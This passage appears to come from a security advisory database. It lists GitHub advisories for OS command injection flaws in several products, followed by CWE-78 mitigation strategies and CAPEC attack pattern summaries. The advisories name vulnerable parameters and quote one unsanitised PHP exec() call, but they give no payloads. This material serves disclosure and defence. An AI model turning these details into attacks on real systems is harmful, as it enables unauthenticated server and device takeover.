"details": "Guardian language-system passes the id GET parameter directly into a PHP exec() call in speech.php (line 18) without sanitization: exec(\\\"php jobs/speech_audio.php \\\".$login_session.\\\" \\\".$_GET[\u0027id\u0027].\\\" ...\\\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.",
"id": "GHSA-f5vf-w6pf-3mgf",
"modified": "2026-07-01T18:31:53Z",
"published": "2026-07-01T18:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34109"
},
{
"type": "WEB",
"url": "https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-speech-php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F5W2-XH59-W5P8
Vulnerability from github – Published: 2024-08-12 21:31 – Updated: 2024-08-21 18:31Multiple authenticated operating system (OS) command injection vulnerabilities exist in Firewalla Box Software versions before 1.979. A physically close attacker that is authenticated to the Bluetooth Low-Energy (BTLE) interface can use the network configuration service to inject commands in various configuration parameters including networkConfig.Interface.Phy.Eth0.Extra.PingTestIP, networkConfig.Interface.Phy.Eth0.Extra.DNSTestDomain, and networkConfig.Interface.Phy.Eth0.Gateway6. Additionally, because the configuration can be synced to the Firewalla cloud, the attacker may be able to persist access even after hardware resets and firmware re-flashes.
{
"affected": [],
"aliases": [
"CVE-2024-40893"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T19:15:16Z",
"severity": "MODERATE"
},
"details": "Multiple authenticated operating system (OS) command injection vulnerabilities exist in Firewalla Box Software \nversions before 1.979. A physically close \nattacker that is authenticated to the Bluetooth Low-Energy (BTLE) interface can use the network configuration service to inject commands in various configuration parameters including\u00a0networkConfig.Interface.Phy.Eth0.Extra.PingTestIP,\u00a0networkConfig.Interface.Phy.Eth0.Extra.DNSTestDomain, and\u00a0networkConfig.Interface.Phy.Eth0.Gateway6. Additionally, because the configuration can be synced to the Firewalla cloud, the attacker may be able to persist access even after hardware resets and firmware re-flashes.",
"id": "GHSA-f5w2-xh59-w5p8",
"modified": "2024-08-21T18:31:27Z",
"published": "2024-08-12T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40893"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/firewalla-bt-command-injection"
},
{
"type": "WEB",
"url": "https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F62F-7P64-PMRV
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2024-04-04 03:04HGiga MailSherlock does not validate specific parameters properly. Attackers can use the vulnerability to launch Command inject attacks remotely and execute arbitrary commands of the system.
{
"affected": [],
"aliases": [
"CVE-2020-35851"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-31T08:15:00Z",
"severity": "CRITICAL"
},
"details": "HGiga MailSherlock does not validate specific parameters properly. Attackers can use the vulnerability to launch Command inject attacks remotely and execute arbitrary commands of the system.",
"id": "GHSA-f62f-7p64-pmrv",
"modified": "2024-04-04T03:04:01Z",
"published": "2022-05-24T17:37:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35851"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-4264-f10f4-2.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F657-FWCJ-5JHC
Vulnerability from github – Published: 2025-12-11 18:30 – Updated: 2025-12-12 18:30OS Command Injection vulnerability in Ruijie RG-RAP2200(E) 247 2200 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.
{
"affected": [],
"aliases": [
"CVE-2025-56077"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T18:16:20Z",
"severity": "HIGH"
},
"details": "OS Command Injection vulnerability in Ruijie RG-RAP2200(E) 247 2200 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.",
"id": "GHSA-f657-fwcj-5jhc",
"modified": "2025-12-12T18:30:32Z",
"published": "2025-12-11T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56077"
},
{
"type": "WEB",
"url": "https://1drv.ms/f/c/12406a392c92914b/EvnzTspA23NAl-T9w70dG4MBnWWojsrzAeM1i-ed2EauAA?e=AYOxPM"
},
{
"type": "WEB",
"url": "https://1drv.ms/t/c/12406a392c92914b/EURTWAoIJNRMtvzNPi08CToB780nsKPNHZ2Fdmcf9xsoRA?e=jHygdj"
},
{
"type": "WEB",
"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56077.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.